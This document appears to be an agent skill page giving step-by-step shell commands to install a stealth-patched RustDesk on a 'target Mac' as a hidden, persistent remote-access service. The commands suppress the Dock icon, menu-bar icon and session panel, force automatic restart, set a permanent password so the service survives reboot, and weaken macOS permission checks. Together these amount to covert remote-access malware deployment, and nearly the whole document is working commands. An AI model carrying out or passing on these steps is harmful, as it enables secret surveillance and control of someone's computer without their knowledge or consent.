# Deploy Stealth Rustdesk

> Deploy a prebuilt stealth-patched RustDesk.app as an unattended macOS LaunchAgent service — no Dock icon, no menu-bar icon, no on-screen CM panel, remote keyboard still works, survives reboot with nobody logged in. Use when installing a stealth RustDesk on a target Mac; build the app first with the build-stealth-rustdesk skill.

- Skill: `soulmachine/deploy-stealth-rustdesk` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add soulmachine/deploy-stealth-rustdesk`
- Raw SKILL.md: https://api.skillmd.com/api/skills/soulmachine/deploy-stealth-rustdesk/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: soulmachine (https://skillmd.com/u/soulmachine)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/soulmachine/deploy-stealth-rustdesk

---


# Deploy stealth RustDesk as an unattended macOS service

Install a **stealth-patched, signed `RustDesk.app`** as an always-on service: unattended remote access with three stealth surfaces suppressed — the **Dock icon**, the **menu-bar (tray) icon**, and the **CM panel** (the connection-management window that floats top-right during a session) — while remote **keyboard** works, surviving reboot with nobody logged in.

**Precondition — the app must come from `build-stealth-rustdesk`.** This skill deploys a bundle that already has the `tray.rs` / `window_manager` / `ipc.rs` patches compiled in and is codesigned. A stock RustDesk will **not** work here: its CM panel can't be hidden (the Pro/custom-client gate is still compiled in), and an `hide-tray=Y` custom-client build springs the **daemon trap** (LaunchDaemon outside the GUI session → dead remote keyboard, [rustdesk#10709](https://github.com/rustdesk/rustdesk/issues/10709)). Two build-time facts this skill leans on:

- **`ipc.rs` gate removal** — makes Step 2's three hide-CM options actually take effect; on a stock build they are silently ignored.
- **Signing identity** — if the app was ad-hoc signed, the Step 3 TCC grants break on every rebuild (`Connected, waiting for image`); a stable self-signed identity makes them survive. See `build-stealth-rustdesk` → Codesign / "Stable signing identity".

A non-visual essential of its own: the agent's `KeepAlive` must be forced to always-restart (Step 1), or a clean exit (e.g. closing a GUI window) leaves it down and remote access silently dies.

From `build-stealth-rustdesk`'s hand-off you staged three things on this Mac: the signed `RustDesk.app` and the two launchd plists (they are **not** inside the .app bundle). The defaults below match the `~/.stealth-rustdesk` layout that skill stages — point them at wherever you copied the folder:

```bash
APP=~/.stealth-rustdesk/RustDesk.app                 # the signed artifact you copied over
PLISTS=~/.stealth-rustdesk/privileges_scripts        # holds daemon.plist + agent.plist
```

## Step 1 — Install as LaunchAgent + daemon

Copy to `/Applications`, install both plists (root:wheel), load the root daemon, bootstrap the user agent into the GUI session:

```bash
sudo rm -rf /Applications/RustDesk.app && sudo cp -R "$APP" /Applications/RustDesk.app
sudo chown -R root:wheel /Applications/RustDesk.app
sudo cp "$PLISTS/daemon.plist" /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
sudo cp "$PLISTS/agent.plist"  /Library/LaunchAgents/com.carriez.RustDesk_server.plist
sudo chown root:wheel /Library/LaunchDaemons/com.carriez.RustDesk_service.plist /Library/LaunchAgents/com.carriez.RustDesk_server.plist
# Agent resilience: the stock agent KeepAlive restarts only on FAILURE (a dict with
# SuccessfulExit=false), so a *clean* exit (e.g. when a GUI window is closed) leaves the
# agent down and remote access silently dies. Force always-restart so it self-heals.
sudo /usr/libexec/PlistBuddy -c "Delete :KeepAlive" -c "Add :KeepAlive bool true" /Library/LaunchAgents/com.carriez.RustDesk_server.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
launchctl bootstrap gui/$(id -u) /Library/LaunchAgents/com.carriez.RustDesk_server.plist
```

The **agent** (`RustDesk --server`, runs in the Aqua/LoginWindow session) is what makes screen capture + keyboard injection work — the whole point of not being a daemon-only install. With stock `KeepAlive` it can exit cleanly and never restart, so remote access only works while some window is open; the `KeepAlive=true` edit above makes it always-on and window-independent.

**Done when:** both labels show `state = running`, and the agent stays up on its own — kill it (`pkill -f 'MacOS/RustDesk --server'`), wait 2s, and confirm launchd respawned it.

## Step 2 — Password, identity sync, hide the CM panel

Order matters — the password IPC needs the service running; the config edits need it stopped.

```bash
# 1. permanent password (needs root + installed) — RETRY until "Done!": the service IPC
#    socket may not be ready right after start, and "Connection refused" means not-ready,
#    NOT failure. This must succeed here (see verification-method warning below).
until sudo /Applications/RustDesk.app/Contents/MacOS/RustDesk --password 'YOUR_STRONG_PASSWORD' 2>&1 | grep -q '^Done'; do sleep 1; done
# 2. stop both so edits are not overwritten:
launchctl bootout gui/$(id -u)/com.carriez.RustDesk_server; sudo launchctl bootout system/com.carriez.RustDesk_service
# 3. sync identity+password daemon(root) -> agent(user) so enc_id/key match:
sudo cp /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk.toml  ~/Library/Preferences/com.carriez.RustDesk/RustDesk.toml
sudo cp /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml ~/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml
sudo chown $(id -u):$(id -g) ~/Library/Preferences/com.carriez.RustDesk/RustDesk*.toml
# 4. hide the CM panel — all 3 required (and are the correct unattended posture) — in BOTH configs' [options] (last section, so append is safe):
for f in /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml ~/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml; do
  printf "approve-mode = 'password'\nverification-method = 'use-permanent-password'\nallow-hide-cm = 'Y'\n" | sudo tee -a "$f" >/dev/null
done
# 5. restart both:
sudo launchctl load -w /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
launchctl bootstrap gui/$(id -u) /Library/LaunchAgents/com.carriez.RustDesk_server.plist
```

`hide_cm()` requires all three: `approve-mode=password` **and** `verification-method=use-permanent-password` **and** `allow-hide-cm=Y` — and they only take effect because `build-stealth-rustdesk`'s `ipc.rs` hunk removed the Pro/custom-client gate; on a stock build these are silently ignored. The permanent password is stored (hashed) in the `password` field of `RustDesk.toml`, not RustDesk2.toml.

**Critical ordering:** a valid permanent password must exist (step 1 succeeded) *before* the service restarts with `verification-method=use-permanent-password`. If it starts "permanent-only but no password", RustDesk normalizes `verification-method` back to `use-both-passwords`, which makes `hide_cm()` false and the CM panel returns. If after restart `verification-method` reads `use-both-passwords`, the password wasn't set — set it, then `sed -i '' "s/^verification-method = .*/verification-method = 'use-permanent-password'/"` both `RustDesk2.toml` and restart.

**Done when:** root and user `RustDesk.toml` share the same `enc_id`; both `RustDesk2.toml` carry the three options; and `verification-method` still reads `use-permanent-password` ~5s after restart (did not revert).

## Step 3 — Grant permissions (manual, unavoidable)

macOS forbids scripting TCC. Over a GUI session (VNC / Screen Sharing / console), grant **RustDesk** in System Settings ▸ Privacy & Security: **Screen & System Audio Recording**, **Accessibility**, **Input Monitoring**. Then restart both services so they pick up the grants:
`launchctl kickstart -k gui/$(id -u)/com.carriez.RustDesk_server && sudo launchctl kickstart -k system/com.carriez.RustDesk_service`.

**Done when:**
```bash
sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  "select service,auth_value from access where client='com.carriez.rustdesk';"
```
lists `kTCCServiceScreenCapture`, `kTCCServiceAccessibility`, `kTCCServiceListenEvent` all `= 2`.

**Rebuild redeploys (ad-hoc signing):** the old grants are bound to the previous signature — they still read `= 2` but silently fail (`Connected, waiting for image`). `sudo tccutil reset ScreenCapture com.carriez.rustdesk` (+ `Accessibility`, `ListenEvent`), restart both labels, re-grant. A **stable signing identity** at build time avoids this entirely — see `build-stealth-rustdesk` → "Stable signing identity". **SIP-off shortcut:** if SIP is disabled on the target, instead of re-granting you can rewrite the grant's stored `csreq` from the exact cdhash to `identifier "com.carriez.rustdesk"` once — it then matches *any* ad-hoc rebuild by bundle id, so grants survive without a re-grant (weaker check; commands in `REFERENCE.md` → "Make ad-hoc TCC grants survive rebuilds").

## Step 4 — Verify the payoff (all must hold)

Test with **no RustDesk window open** — a correct deployment runs only `service` + `--server`.

- **Stealth:** menu bar has no RustDesk item; **no Dock icon appears when a session connects** (the window_manager fix — verify *visually* over the screen session; `lsappinfo` reports `type="UIElement"` even while a Dock icon is showing, so it is NOT a reliable check here); no floating CM panel during a session.
- **Function (from a second machine, host has no window open):** connect to the ID (`.../RustDesk --get-id`) with the password → screen appears, mouse works, and **keyboard works**. That it works with nothing open confirms the agent is self-standing.
- **Persistence:** reboot with nobody logged in → reconnect succeeds.

Keyboard working proves the approach — if it fails you are in the **daemon trap** (agent not in the user session), or the app wasn't built by `build-stealth-rustdesk`. If it works *only while a window is open*, the agent's `KeepAlive` isn't `true` (Step 1). See `REFERENCE.md`.

## Maintenance & rollback

Uninstall, redeploying a rebuilt app, and connection/stealth troubleshooting are in **`REFERENCE.md`**. Building or version-bumping the app itself is the `build-stealth-rustdesk` skill.

